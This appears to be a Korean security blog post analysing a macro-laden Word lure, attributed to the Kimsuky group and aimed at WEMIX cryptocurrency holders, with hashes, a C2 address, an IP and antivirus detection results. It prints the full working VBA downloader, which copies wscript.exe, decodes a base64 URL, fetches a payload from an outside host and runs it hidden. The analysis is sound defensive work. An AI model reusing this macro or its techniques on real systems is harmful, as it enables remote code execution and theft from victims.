꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있으며 해당 악성코드는 기본적으로 오래간만에 매크로 로 된 악성코드입니다.
먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:위믹스팀-클라우드사용금지.doc
사이즈:23.9 KB
CRC32:20424b6b
MD5:b6614471ebf288689d33808c376540e1
SHA-1:84ef8256bece765b0f44dc6d4cf664cb8f222c59
SHA-256:928e61590b2c4acf3991bd4327c5107c1cfd2604d992647c4e63bd1d620ff636

위믹스팀-클라우드사용금지 악성코드 실행
위믹스팀-클라우드사용금지 악성코드 실행

일단 해당 위믹스팀-클라우드사용금지.doc 악성코드는 위믹스팀-클라우드사용금지.doc 로 돼 있으며 기본적으로 해당 악성코드는 워드 형식에 매크로를 실행해서 악성코드가 작동하는 방식이면 그리고 2021년도부터 뜨거운 관심을 받는 P2E 게임의 대표 주자답게 게임에서 얻은 재화를 암호화폐(가상화폐)인 위믹스로 바꾸어 현금화할 수 있게 돼 있고

최근에는 야당에 있던 모 국회의원께서 가상화폐 보유 논란으로 문제가 된 곳이기도 합니다. 파일명: 위믹스팀-클라우드사용금지.doc을 실행을 하면 글자는 하얀색으로 돼 있어서 글자를 읽을 수가 없어서 사용자 매크로롤 사용을 해야 하는지 생각을 하려고 만든 것 같기도 합니다.<-私見
그리고 보안 경고 매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용이라고 돼 있는데 해당 부분을 눌러주면 악성코드가 동작합니다.
일단 글자를 다시 검은색으로 보면 다음과 같습니다.

위믹스팀-클라우드사용금지 악성코드 내용
위믹스팀-클라우드사용금지 악성코드 내용

혹시나 클라우드저장매체(구글포토,네이버박스,테라박스등등) 쓰시는분들
꼭 사진자동 업로드 설정 취소해 놓으세요.
혹시라도 암호문구 캡쳐해서 프린트 하시려다가 업로드 되면 핸드폰에서
사진 지워도 클라우드에는 남아 있습니다. 애플도 마찬가지구요.
꼭 확인하세요.삼성 클라우드 같은거도 있고 알게 모르게 업로드 되고 있을수도 있습니다.
혹시 업로드 되어서 삭제 하셔도 쓰레기통에 남아 있으니 쓰레기통도 비워주셔야 합니다.
핸드폰을 물리적으로 해킹하기는 어렵지만 메일함이나 클라우드는 해킹하기가 쉽습니다.
그리고 될수 있으면 스테이킹 하시고 자주 포트폴리오 확인해 주세요.

라고 돼 있으며 워드 매크로 편집기를 이용한 든 Cerbero Suite Advanced 로 하든 매크로를 보면 다음과 같이 돼 있는 것을 확인할 수가 있습니다.

Function kujgedrfgbasdfg(ByVal base64String)
On Error Resume Next
     Const Base64 = "ABCDEFGHIJKLMNOPQRSTUV(W)XYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin
     base64String = Replace(base64String, vbC(r)Lf, "")
     base64String = Replace(base64String, vbT(a)b, "")
     base64String = Replace(base64String, " ", "")
     dataL(e)ngth = Len(base64String)
     For grou(p)Begin = 1 To dataLength Step 4
          Dim numD(a)taBytes, CharCo(u)nter, this(C)har, this(D)ata, n(G)roup, p(O)ut
          numDataBytes = 3
          nGroup = 0
          For CharCounter = 0 To 3
               thisChar = Mid(base64(S)tring, gr(o)upBegin + CharCoun(t)er, 1)
               If thisChar = "=" Then
                    numDataBytes = numDataBytes - 1
                    thisData = 0
               Else
                    thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
               End If
               If thisData = -1 Then
                    Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
                    Exit Function
               End If
               nGroup = 64 * nGroup (+) thisData
          Next
          nGroup = Hex(nGroup)
          nGroup = String(6 - Len(nGroup), "0") & nGroup
          pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))
          sOut = sOut & Left(pOut, numDataBytes)
     Next
     kujgedrfgbasdfg = sOut
End Function



Sub AutoOpen()
On Error Resume Next

    sCmdLine = "cmd /c copy %windir%\system32\wscript.exe %appdata%\word.exe"
    n = Shell(sCmdLine, vbHide)
    
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set WshShell = CreateObject("Wscript.shell")
    
    drl = kujgedrf(g)basdfg("aHR0cHM6Ly9wYX(J)0bmVyMjQua3IvbW9rb3p5L2hvcGUva2sucGhw=")
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", drl, False
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chnome/97.0.4692.99 Safari/537.36"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
    
        responseText = WinHttpReq.responseText
        
        strPath = WshShell.expandenvironmentstrings("%USERPROFILE%") & "\set.sl"
        Set File = FSO.CreateTextFile(strPath, True)
        File.Write (kujge(d)rfgbasdfg(responseText))
        File.Close
        
        sCmdLine = "cmd /c %appdata%\word.exe //e:vbscript //b %USERPROFILE%\set(.)sl"
        n = Shell(sCmdLine, vbHide)
        
    End If
    ActiveDocument.Content.Font.ColorIndex = wdBlack
    ActiveDocument.Save
End Sub

이며 먼저 윈도우 시스템 디렉토리에서 wscript.exe 파일을 AppData 디렉토리로 복사를 해서 VBScript 및 JScript와 같은 스크립트를 실행하는 데 사용되는 프로세스이지만 해당 프로세스를 악용해서 VBScript 파일은 %appdata%\word.exe //e:vbscript //b %USERPROFILE%\set.sl 명령을 실행합니다.
1. sCmdLine = cmd /c copy %windir%\system32\wscript.exe %appdata%\word.exe"
해당 부분에서 cmd /c copy 명령어를 사용하여 %windir%\system32\wscript.exe 파일을 %appdata%\word.exe 로 복사
2.n = Shell(sCmdLine, vbHide)
Shell 함수를 사용하여 sCmdLine 변수에 저장된 명령어를 실행
vbHide 매개변수를 사용하여 실행 창을 숨기고 실행
3.sCmdLine = cmd /c %appdata%\word.exe //e:vbscript //b %USERPROFILE%\set.sl
해당 부분에서 cmd /c를 사용하여 %appdata%\word.exe 파일을 실행하고, //e:vbscript //b 옵션을 사용하여 vbscript 스크립트를 실행
그리고 set.sl 파일이 생성되고 데이터가 기록합니다.

위믹스팀-클라우드사용금지 포함 된 매크로 편집기 실행
위믹스팀-클라우드사용금지 포함 된 매크로 편집기 실행

strPath = WshShell.expandenvironmentstrings("%USERPROFILE%") & "\set.sl"
Set File = FSO.CreateTextFile(strPath, True)
File.Write (kujgedrfg(b)asdfg(responseText))
File.Close
File.Write (kujgedrfgbasdfg(responseText))를 통해 kujgedrfgbasdfg 함수에 responseText 데이터를 인자로 전달하고 이를 디코딩하여 복호화된 데이터를 set.sl 파일에 기록하는 역할을 합니다.
ActiveDocument.Content.Font.ColorIndex = wdBlack
ActiveDocument.Save
부분은 Word 문서의 텍스트의 글꼴 색상을 검은색으로 변경합니다.
즉 전체적으로 설명하면 다음과 같습니다.
1.sCmdLine = cmd /c copy %windir%\system32\wscript.exe %appdata%\word.exe
해당 부분에서 `cmd /c copy` 명령어를 사용하여 Windows 시스템 폴더에 있는 wscript.exe 파일을 %appdata%폴더에 word.exe이라는 이름으로 복사 기존의 word.exe 파일을 덮어쓰는 과정
2. drl = kujgedrfgbasdfg("aHR0cHM6L(y)9wYXJ0bmV(y)MjQua3IvbW9rb3p5L2hvcGUva2sucGhw=") 해당 부분에서 kujgedrfgbasdfg 함수에 암호화된 문자열을 전달하고 있음 해당 함수는 전달된 문자열을 복호화하여 악성 스크립트의 주소(URL)로 사용하기 위한 목적으로 사용
3.WinHttpReq.Open "GET", drl, False
WinHttpReq 라는 COM 개체를 생성하여 앞서 얻은 악성 스크립트의 주소로 GET 요청을 보내고 이렇게 웹에서 스크립트를 다운로드 받는 행위를 합니다.
4.responseText = WinHttpReq.responseText
WinHttpReq`로부터 응답받은 스크립트 내용을 responseText 변수에 저장
5.strPath = WshShell.expandenvironmentstrings("%USERPROFILE%") & "\set.sl"
해당 부분에서는 %USERPROFILE% 환경 변수를 통해 사용자의 홈 디렉터리를 얻어와서 set.sl 파일을 생성할 경로로 설정
6.File.Write (kujgedrfgbasdfg(responseText))
앞서 다운로드 받은 악성 스크립트(responseText)를 kujgedrfgbasdfg 함수에 전달하여 복호화하고 그 결과를 set.sl 파일에 기록
7.sCmdLine = cmd /c %appdata%\word.exe //e:vbscript //b %USERPROFILE%\set.sl
해당 부분에서는 %appdata%\word.exe 로 vbscript 스크립트를 실행하는 명령어를 준비. 해당 다운로드 받은 악성 스크립트(set.sl)를 실행하는 명령어
8. n = Shell(sCmdLine, vbHide)
악성 스크립트를 실행 vbHide`를 사용하여 실행 창을 숨김
9.ActiveDocument.Content.Font.ColorIndex = wdBlack
해당 부분은 코드 실행 시점과 상관없이 Word 문서의 모든 텍스트의 글꼴 색상을 검은색으로 변경 그러나 이 부분은 악성 코드의 일부가 아님
10.ActiveDocument.Save
해당 부분은 Word 문서를 저장하는 명령어 글꼴 색상 변경 후 문서를 저장하는 용도로 사용
해당 워드 파일을 덮어쓰는 이유는 악성 코드의 접근성과 실행 가능성을 확보하기 위함이며 다음 코드가 해당 내용입니다.
sCmdLine = "cmd /c copy %windir%\system32\wscript.exe %appdata%\word.exe"
n = Shell(sCmdLine, vbHide)

AppData 에 복사된 word.exe 파일
AppData 에 복사된 word.exe 파일

aHR0cHM6Ly9wYXJ0bmVyM(j)Qua3IvbW9rb3p5L2hvcGUva2sucGhw=

CyberChef Base 64 디코딩
CyberChef Base 64 디코딩

이렇게 돼 있는 이것 디코딩하면 다음과 같은 주소를 확보할 수가 있습니다.

https://partner24(.)kr/mokozy/hope/kk(.)php

그리고 다음과 같이

drl = kujgedrfgbasdfg("aHR0cHM6L(y)9wYXJ0bmVyMjQua3IvbW9(r)b3p5L2hvcGUva2sucGhw=")
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", drl, False
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chnome/97.0.4692.99 Safari/537.36"
    WinHttpReq.Sen

 

이걸을 설명을 하면 다음과 같습니다.
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
MSXML2.ServerXMLHTTP.6.0 개체를 생성
해당 개체는 HTTP 클라이언트로서 웹 서버로부터 데이터를 요청하고 응답을 받을 수 있음
WinHttpReq.Open "GET", drl, False
앞서 복호화한 주소로 HTTP GET 요청을 설정
False는 동기 방식으로 요청을 보낸다는 의미
WinHttpReq.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chnome/97.0.4692.99 Safari/537.36
HTTP 요청 헤더에 User-Agent 필드를 추가하여 해당 필드가 웹 서버에 전송되도록 설정.
이렇게 함으로써 HTTP 클라이언트가 일반적인 웹 브라우저처럼 동작하도록 위장할 수 있음
Mozilla/5.0:대부분의 웹 브라우저들이 사용하는 일반적인 식별자
Windows NT 10.0; Win64; x64: 사용자의 운영 체제와 CPU 아키텍처를 표시
AppleWebKit/537.36:웹킷 엔진을 사용하는 브라우저의 버전 정보
Chnome/97.0.4692.99:위장하려는 브라우저를 표시하는 식별자
Safari/537.36: Safari 브라우저의 버전 정보부분은 해당 사용자 에이전트 문자열에서는 의미가 없는 부분 누락
WinHttpReq.Send
앞서 설정한 GET 요청을 보냄
웹 서버로부터 응답을 받으려고 스크립트 파일을 요청합니다.
HTTP 요청

https://partner24(.)kr/mokozy/hope/kk.php ->%USERPROFILE%\set .sl

IP 트래픽

172.104.82(.)74:443(TCP)

2023-07-29 18:58:54 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
AhnLab-V3:Downloader/DOC.Generic
Alibaba:TrojanDownloader:Script/Kimsuky.ce514c70
ALYac:Trojan.Downloader.DOC.Gen
Arcabit:HEUR.VBA.Trojan.d
Avast:Script:SNH-gen [Drp]
AVG:Script:SNH-gen [Drp]
Avira (no cloud):W2000M/NPE.Minerva.fmbdg
BitDefender:Trojan.GenericKD.68409886
Cynet:Malicious (score: 99)
Cyren:PP97M/Agent.AFL.gen!Eldorado
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKD.68409886 (B)
eScan:Trojan.GenericKD.68409886
ESET-NOD32:VBS/Kimsuky.P
GData:Macro.Trojan.Agent.8D3DSM
Google:Detected
Jiangmin:WM/Downloader.a
Kaspersky:UDS:DangerousObject.Multi.Generic
MAX:Malware (ai Score=80)
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Trojan:Win32/Leonem
NANO-Antivirus:Trojan.Ole2.Vbs-heuristic.druvzi
Rising:Macro.Agent.cg (CLASSIC)
SentinelOne (Static ML):Static AI - Malicious OPENXML
Symantec:CL.Downloader!gen175
TACHYON:Suspicious/WOX.XSR.Gen
Tencent:Trojan.MsOffice.MacroS.11009378
Trellix (FireEye):Trojan.GenericKD.68409886
VIPRE:Trojan.GenericKD.68409886
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.MSOffice.SLoad.g
일단 김수키(Kimsuky)인것 같은데 왠지 Konni(코니) 같은 느낌이 이유? 글자를 흰색을 처리해서 매크로 사용을 유도하는 수법이 똑같아서 일단 김수키 인 것 Konni(코니) 같지만 어떤 조직인지 헷갈리네요.

아무튼 위믹스 관련 암호 화폐(가상화폐) 분들은 조심하시길 바랍니다. 그리고 자신이 운영을 하고 있는 사이트 및 블로그 등은 관리를 잘해서 악성코드 유포지가 되어서 보안 업체들에 빨간색으로 도배되는 일은 하지 말아야 합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band